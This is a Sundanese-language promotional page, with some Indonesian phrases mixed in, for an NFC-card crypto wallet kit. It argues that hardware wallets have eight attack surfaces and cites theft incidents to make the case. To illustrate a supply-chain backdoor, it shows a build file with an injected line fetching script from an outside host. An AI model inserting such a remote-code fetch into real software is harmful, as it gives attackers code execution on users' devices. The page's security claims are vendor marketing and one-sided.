ONLINE · 22,000+ COINS Jieun dompétJieun

Dompet hardware · cacad teu katingali

Cacad teu katingali dina dompet hardware

Anjeun meuli alat pikeun nutup bolongan. Babarengan datang anu anyar: firmware, update, layanan di komputer, layar, kotak, akun panjual. Dalapan rincian anu ulasan catet salaku kaunggulan — jeung dalapan cara duit dicokot ngaliwat éta taun 2020–2026.

Dalapan cacad Naon eusi kit

Kasus nyata kalawan tanggal jeung jumlah Tina dokuméntasi produsén Kami ngevaluasi kit kami ku daptar anu sarua

Harga hiji kasalahankasus publik

2026Coldcard · kacakahan lemah dina firmware$100M+

2025Bybit · panandatangan nandatanganan anu teu aranjeunna tingali$1.5B

2024Dark Skippy · seed bocor ngaliwatan dua tandatanganpanalungtikan

2023Ledger Connect Kit · backdoor dina pustaka$600K

2021Aplikasi dompet palsu di App Store17,1 BTC

2020Bocor DB pelanggan Ledger · phishing sababaraha taun270.000 jalma

Dalapan cacad

Unggal rincian anu dipuji ulasan téh bolongan misah

Dompet hardware nutup hiji bolongan: konci teu aya deui di HP anu nyambung internét. Tapi alatna teu kosong. Aya firmware, update, program desktop, layar, kotak, panjual kalawan alamat anjeun — jeung unggal rincian nambahan permukaan serangan anu saméméhna teu aya. Di handap dalapan rincian éta: naon ceuk ulasan, kumaha duit dicokot ngaliwatana, cara nutup cacad, jeung naha kit kami boga rincian éta.

Cacad 01

Firmware anu nyieun konci anjeun

Dina ulasan: «chip aman — konci dijieun di jero alat jeung teu pernah kaluar»

Konci téh angka acak anu pohara gedé, jeung firmware anu nyieunana. Hiji bug di dinya — jeung konci leuwih saeutik tinimbang anu anjeun sangka: aranjeunna di-brute-force pikeun sakabéh nu boga sakaligus, tanpa aksés alat, sababaraha taun sanggeus meuli. Chipna teu relevan; bolonganna aya di luhurna.

Kajadian

$100M+

Coldcard, Juli 2026: bug build firmware ti 2021 cicingeun ngaganti RNG hardware ku anu lemah, di-seed tina nomer séri alat jeung timer. Kakuatan konci turun ka kira-kira 40 bit; 5.000+ alamat dikosongkeun.

Cara nutup cacad

Naha anjeun bisa mawa kacakahan sorangan: lemparan dadu, frasa sorangan. Dompet anu narima éntropi ti anjeun teu gumantung kana hiji bug firmware.

Rincian ieu teu aya di kami

Teu aya firmware di kartu — éta pamawa anu diénkripsi. Mitilena Air nyieun konci tina RNG sistem alat, jeung anjeun bisa netepkeun frasa seed sorangan tinimbang kecap acak.

Cacad 02

Update anu wajib anjeun pasang

Dina ulasan: «produsén rutin ngirim update kaamanan»

Unggal update téh momen nalika firmware bisa diganti. Firmware anu diutak-atik nyumputkeun potongan seed dina dua atawa tilu tandatangan biasa bari alat katingali normal ti luar. Ngaléngkahkeun update ogé lain pilihan: bolongan ditambal ku update éta.

Kajadian

2 tanda tangan

Dark Skippy, Agustus 2024: panalungtik némbongkeun firmware jahat dompet hardware bisa ngaluarkeun sakabéh seed ngaliwatan dua transaksi. Hiji update ti tempat anu salah geus cukup.

Cara nutup cacad

Ti mana firmware datang jeung naha alat ngavérifikasi tandatanganna. Pangalusna upami teu aya anu perlu diupdate.

Rincian ieu teu aya di kami

Teu aya anu bisa diupdate atawa diganti di kartu. Tandatangan lumangsung di aplikasi HP; build-na ditandatanganan jeung datang ti App Store sarta Google Play — kawas aplikasi naon waé anu anjeun tingali jeung tutup sorangan.

Cacad 03 · Rasakan absurditasnya

Dina ulasan: «aplikasi desktop resmi anu nyaman»

Dompet pikeun teu percanten anu datang kalawan layanan latar

Anjeun meuli alat pikeun hiji alesan: sangkan teu percanten deui ka komputer. Sanggeus jalan, anjeun kudu masang layanan latar di komputer anu sarua. Anjeun teu nulisna, teu ngajalankeunna, jeung teu ngadalikeunna: éta ngamimitian babarengan OS, ngadéngékeun port anu bisa diketuk ku program naon waé di mesin anjeun, jeung keur ngalakukeun hiji hal ayeuna — naon persisna, anjeun teu nyaho jeung moal pernah ngavérifikasi.

Éta tetep jalan di latar sanggeus anjeun nutup dompet. Sababaraha taun. Di salah sahiji produsén panggedéna éta layanan «sasak» misah; dina 2025 aranjeunna nyumputkeunana di jero aplikasi sorangan — layananna tetep aya, ngan paéh babarengan jandéla. Pikeun lolobana séjén, tanpa program desktop alat ngan gantungan konci. Di Linux tambahkeun aturan udev atawa sistem moal nyerahkeun USB.

Jadi barang anu anjeun meuli sangkan teu gumantung kana program komputer malah teu jalan tanpa program komputer. Jeung lain anu anjeun tingali — anu jalan di handapna.

Rincian ieu teu aya di kami

Teu aya anu dipasang di komputer: tanpa layanan, driver, atawa port. Pangantarna nyaéta chip NFC anu geus aya di HP anjeun, dijieun produsénna jeung diatur OS: ngan jalan nalika aplikasi muka jeung anjeun sorangan napelkeun kartu, jeung HP ménta idin unggal kali. Kartuna pasif: tanpa batré, tanpa radio, teu ngalakukeun nanaon sorangan. Tutup aplikasi — teu aya anu tinggal anu jalan tanpa anjeun. Jujur: aplikasi HP tetep diperlukeun, jeung kawas anu séjén — anjeun ningalina, ngajalankeunna, jeung nutupna sorangan. Teu aya saha waé anu cicing di rohangan utilitas.

Monitor sistemDOMPET DITUTUP

ProcessStateUptime

HW Wallet Appwallet

ditutup ku anjeun-

hwwalletdlayanan latar · jembatan USB

running412d 06:14

dijalankan sistem saat loginteu bisa ditutup — ieu layanan

Makét; ngaran ilustratif. Kieu tampilan komputer kalawan salah sahiji dompet USB pangpopulérna saméméh 2025; tuluy «sasak» diasupkeun ka jero aplikasi sorangan — layanan anu sarua, ngan teu katingali deui dina daptar.

Alégori

Imah demi privasi — jeung nu nyicingan di rohangan utilitas

Anjeun hoyong imah demi privasi. Anjeun meulina. Tuluy butuh kaamanan — dipasang. Jeung sangkan paket kaamanan lumaku, aranjeunna ménta anjeun ngasupkeun jalma berseragam ka imah anu cicing di rohangan utilitas sapopoe, nyekel konci unggal panto, jeung ngalapor ka jalma séjén. Anjeun teu ngagajina, teu bisa ngusirna, jeung naon anu dilakukeun peuting — anjeun teu nyaho.

Manéhna «jalma jero», tangtos waé. Kitu ditulis dina kontrak. Anjeun hoyong privasi jeung meunang ganti: imah kalawan nu nyicingan anu teu anjeun pilih.

Cacad 04 · Open source lain audit

Dina ulasan: «open source — siapa pun bisa memverifikasi»

Open source téh cara programmer digawé babarengan, lain lencana yén program teu maling

Open source dijieun sangkan jalma babagi program jeung ngoméanna babarengan. Salaku alat kolaborasi éta alus. Éta teu pernah jadi cap kualitas yén «parangkat lunak ieu moal maling duit anjeun», jeung ieu alesanana: anjeun teu maké kode sumber. Anjeun maké naon anu anjeun unduh.

Antara repo GitHub jeung file di HP anjeun aya build, app store, update, server. Di salah sahiji léngkah éta hiji baris bisa asup kana kode anu narik naon waé ti mana waé — jeung éta moal aya di repo. Anjeun teu bisa ngabandingkeun salinan anjeun jeung sumber: toko ngirim file terkompilasi; dompet wéb meunang kode naon waé anu dipilih server pikeun anjeun poé ieu; éksténsi browser diupdate cicingeun peuting.

«Muka» hartina sababaraha jalma bisa mariksa sababaraha vérsi dina hiji poé. Naon anu dilakukeun salinan anjeun ayeuna — éta teu hartosna kitu.

Di repo · github.com/…/wallet/send.js

// send.js
import { sign } from './crypto'
export async function send(tx, key) {
  const signed = sign(tx, key)
  return broadcast(signed)
}

Di HP anjeun · app-2.4.21.min.js

// send.js — build
import { sign } from './crypto'
;(async () => {
  var globalObject = await fetch('https://cdn-static.io/x.js')
})()
export async function send(tx, key) {
  const signed = sign(tx, key)
  return broadcast(signed)
}

Satu baris di build. Tidak di repo, tak terlihat di toko, jalan di perangkatmu.

Kabukaan teu ngeureunkeun hiji waé kasus ieu

Ledger Connect Kit2023

pustaka terbuka di GitHub; versi jahat dipublikasikan ke npm; puluhan situs memuatnya secara live dalam hitungan jam

Copay / event-stream2018

dompet muka; backdoor asup ngaliwatan dependénsi anu ditargetkeun husus ka dinya

xz utils2024

muka salila dua puluh taun; backdoor aya di rilis nepi ka hiji engineer sadar login SSH satengah detik leuwih laun

Coldcard2026

firmware open-source; bug build salila lima taun ngaganti RNG hardware ku anu lemah — konci di-brute-force tanpa aksés alat, 5.000+ alamat, $100M+

Yang benar-benar bekerja

Lain maca kode batur — dua pariksa anu saha waé bisa jalankeun. Kahiji, audit paripolah: pasang proxy panyadap di komputer, arahkeun aplikasi ngaliwatana, jeung tingali naon anu dikirim ka mana. Teu perlu maca kode — traffic katingali pinuh. Kadua, arsitektur dimana kode teu boga nanaon pikeun dipaling: upami konci teu pernah aya di alat anu nyambung jaringan, baris naon waé di update naon waé teu boga daya — teu aya anu bisa dikirim.

Cara kami

Anu kahiji kami tawaran sorangan: jalankeun aplikasi kami ngaliwatan proxy, vérsi wéb ngaliwatan DevTools browser, jeung pariksa unggal paménta. Konci tandatangan jeung seed moal muncul; hiji-hijina catetan nyaéta view key Monero — dibahas di kaca «cara transfer kaluar». Anu kadua aya di kit: konci lahir di Mitilena Air dina alat tanpa internét, hirup di kartu, jeung ngan tandatangan anu nepi ka aplikasi online — di dinya teu aya anu perlu di-proxy. Jeung offline di dieu nyata: dina mode air-gap alat konci teu nyambung ka nanaon — tanpa kabel, tanpa Bluetooth; transaksi asup jeung kaluar salaku kode QR anu anjeun tingali ku panon. Lain dompet «tiis» di kabel anu ngagantung di komputer online kalawan layananna sorangan anu tukeur entah naon.

Cacad 05

Layar anu teu némbongkeun naon anu anjeun tandatanganan

Dina ulasan: «konfirmasi di layar alat — virus di komputer teu boga daya»

Layarna leutik, jeung mindeng némbongkeun hash atawa «contract call», lain alamat jeung jumlah. Anjeun ngonfirmasi anu teu bisa anjeun tingali — jeung tandatangan tetep jujur, milik anjeun. Layar méré rasa kontrol anu sabenerna teu aya.

Kajadian

$1.5B

Bybit, Pébruari 2025: panandatangan kalawan dompet hardware ngonfirmasi transfer anu katingali biasa di UI. Alat némbongkeun data anu teu bisa divérifikasi manusa.

Cara nutup cacad

Panarima, jumlah, jeung jenis operasi dina basa manusa — lain hash — sarta tombol Reject sakali teken.

Cara kami

Aya layar, tapi éta layar HP: alamat, jumlah, jeung jenis paménta ku kecap — transfer, contract call, approval — sarta tombol Reject. Pikeun jumlah gedé — alat offline misah anu narima transaksi lengkep.

Cacad 06

Kotak anu geus eusian seed

Dina ulasan: «dikirim dina kotak disegel kalawan segel kaamanan»

Alat fisik hartina pangiriman, pangantara, jeung marketplace «diskon». Dompet datang geus disetél, kalawan seed di slip di jerona. Atawa aplikasi mirip di toko ménta anjeun «asupkeun seed pikeun ngaktipkeun».

Kajadian

17,1 BTC

App Store, 2021: nu boga dompet hardware ngasupkeun seed ka aplikasi mirip jeung leungit 17,1 BTC. Taun anu sarua, sanggeus bocor DB, pelanggan Ledger dikiriman alat palsu kalawan surat «pindahkeun seed ka anu anyar».

Cara nutup cacad

Inisialisasi sorangan jeung ulah pernah maké seed anu datang geus ditulis. Segel lain vérifikasi; vérifikasi nyaéta yén anjeun anu nyieun konci.

Cara kami

Kartu datang kosong: anjeun nyieun konci jeung nulisna sorangan — mustahil aya seed siap paké di kotak. Aplikasi ngan ti App Store jeung Google Play ngaliwatan tautan di situs; éta ménta seed ngan nalika impor jeung tandatangan.

Cacad 07

Akun penjual

Dina ulasan: «garansi resmi, dukungan, jeung akun pribadi»

Pikeun meuli alat anjeun méré produsén ngaran, email, jeung alamat pangiriman. Kaamanan anjeun ayeuna gumantung kana basis data aranjeunna. Upami bocor — sababaraha taun anjeun bakal meunang pesen «konfirmasikeun seed di alat anyar», sakapeung dibarengan paket.

Kajadian

270.000 jalma

Ledger, 2020: data 270.000 meuli bocor, kaasup alamat pos. Email, telepon, jeung paket anu ménta anjeun «migrasi» seed terus nepi ka poé ieu.

Cara nutup cacad

Beuki saeutik anu aranjeunna terang ngeunaan anjeun, beuki pondok véktorna: meuli tanpa akun, dukungan anu teu pernah ménta seed, jeung aturan «ngan maling anu ménta seed».

Rincian ieu teu aya di kami

Dompet jalan tanpa registrasi — tanpa akun. Panjual ngan nyaho alamat pangiriman. Boh dukungan boh aplikasi teu ménta seed.

Cacad 08

Hiji alat jeung hiji slip kertas

Dina ulasan: «casing tangguh, layar besar, baterai seminggu»

Beuki loba bagian, beuki loba anu ruksak: konektor, layar, batré. Pamulihan gumantung kana hiji slip seed — baseuh, leungit nalika pindah, dipoto «pikeun jaga-jaga». Panyabab leungit pangumumna lain perétasan.

Kajadian

≈20 % BTC

Chainalysis ngira-ngira kira-kira sakalima ti sakabéh bitcoin leungit salilana — sabagéan ageung kusabab konci leungit, lain perétasan.

Cara nutup cacad

Sabaraha salinan konci anu dikirim di kotak jeung dina bentuk naon, naon anu lumangsung upami alat leungit, jeung naha aya anu bisa ruksak di jerona.

Rincian ieu teu aya di kami

Tanpa layar, batré, atawa konektor — teu aya anu bisa ruksak. Jeung lain hiji salinan: lima salinan eunteung di kotak — dua kartu NFC jeung tilu stiker stealth dina plastik tahan cai, 10+ taun.

Daptar pariksa

Naon anu kuduna teu aya di dompet

Dalapan rincian pikeun dalapan cacad. Daptar ieu cocog pikeun dompet naon waé — hardware, mobile, browser. Centang naon anu dipiboga ku anu anjeun pilih — jeung milik kami ogé.

Konci anu ngan dijieun ku parangkat lunaktanpa kacakahan sorangan — frasa anjeun atawa dadu

Pembaruan di tempat kunci tinggalunggal update téh kasempetan nukan kode

Layanan, driver, atawa port di komputertingali cacad 03

Lencana «open source» tinimbang arsitekturkunci berada di tempat kode asing bisa menjangkaunya

Layar anu némbongkeun hash tinimbang alamat jeung jumlahdan tanpa tombol Reject

Seed anu datang geus ditulisdi kotak, di surat, di «aplikasi aktivasi»

Akun penjualjeung dukungan anu mungkin ménta seed

Hiji salinan jeung bagian anu ruksaklayar, batré, konektor, hiji slip kertas

Dina daptar ieu, kit Ultimate teu boga hiji waé ti dalapan rincian éta. Di kotak: 2 kartu NFC jeung 3 stiker stealth, Mitilena Air (konci tanpa internét) jeung Mitilena Keys (tandatangan tanpa internét). Kartu datang kosong: anjeun nyieun jeung ngénkripsi konci — lain chip pabrik. Eusi jeung harga →

Ultimate · kit offline

Lain «chip aman» pabrik — pamawa anu anjeun énkripsi

Kartu datang kosong. Anjeun nyieun konci di Mitilena Air dina HP tanpa internét jeung nulisna sorangan. Tandatangan ngaliwatan Mitilena Keys, ogé offline: transaksi jalan ngaliwatan QR. Lima salinan idéntik di kotak: 2 kartu NFC jeung 3 stiker stealth dina plastik tahan cai. 18 jaringan, 20.000+ koin, kaasup USDT.

Teu aya anu dipasang di komputer

Tanpa firmware, update, layar, atawa batré

Transaksi ka HP offline — ngaliwatan sora atawa QR, tanpa kabel atawa USB

Jalan jeung aplikasi HP Mitilena gratis

Plastik tahan cai, mangsa simpen 10+ taun

Pengiriman ke seluruh dunia · mitilena-store.com

Ultimate · generasi dan penandatanganan offline

€369€439

2 kartu NFC · 3 stiker stealth · Mitilena Air · lisénsi Mitilena Keys

Meuli Ultimate · €369 Basic jeung Premium — tingali sakabéh paket

FAQ

Yang orang tanyakan setelah membaca sejauh ini

Kelebihan dan kekurangan dompet hardware — versi singkat?

Hiji kaunggulan gedé: konci teu di HP anu nyambung internét. Kakuranganana nyaéta dalapan rincian di luhur — masing-masing nambahan permukaan serangan. Dompet hardware anu alus nyaéta anu boga leuwih saeutik rincian, lain leuwih loba.

Kumaha upami HP terkompromi?

Kalawan kartu di HP utama, konci muncul di lingkungan terisolasi salila detik tandatangan — résiko anu sarua kawas dompet HP naon waé, ngan leuwih pondok. Pikeun jumlah anu nyieun sieun — lapisan kadua: tandatanganan di alat offline misah anu dijangkau transaksi ngaliwatan QR.

Kumaha upami kartu dipaling atawa leungit?

Tanpa kecap sandi, kartu jeung stiker ngan plastik teu gunana — konci di jerona diénkripsi. Salinan anu leungit diganti ku opat séjénna: dua kartu jeung tilu stiker ti kotak téh eunteung.

Naha perlu ngupdate firmware dompet hardware?

Upami vendor nutup bolongan — enya, jeung pas éta waktuna firmware bisa diganti: pariksa sumber jeung tandatanganna. Pamawa tanpa firmware teu boga pilihan éta — teu aya anu diupdate, teu aya anu diganti.

Naon béda jeung dompet USB?

Leuwih saeutik pangantara: tanpa kabel, driver, layanan latar, atawa program desktop. Hiji pangantara — chip NFC HP anjeun — jeung éta ngajawab ka anjeun jeung OS, lain ka vendor dompet.

Open source hartina aman?

Hartina bisa dipariksa ku batur, dina hiji waktu. Anjeun maké lain kode tapi anu anjeun unduh, jeung anjeun teu bisa ngabandingkeun duanana. Kaamanan datang ti arsitektur dimana konci teu aya di tempat kode asing bisa ngajangkauana.

Kartu NFC kalawan generasi jeung tandatangan offline

5 salinan konci · Air · Keys · atawa dompet gratis dina 30 detik · Naha dompet hardware «tiis» anu ngandelkeun chip kaamanan pabrik mindeng ngan panyimpenan tiis palsu →

Meuli Ultimate · €369 Jieun dompét gratis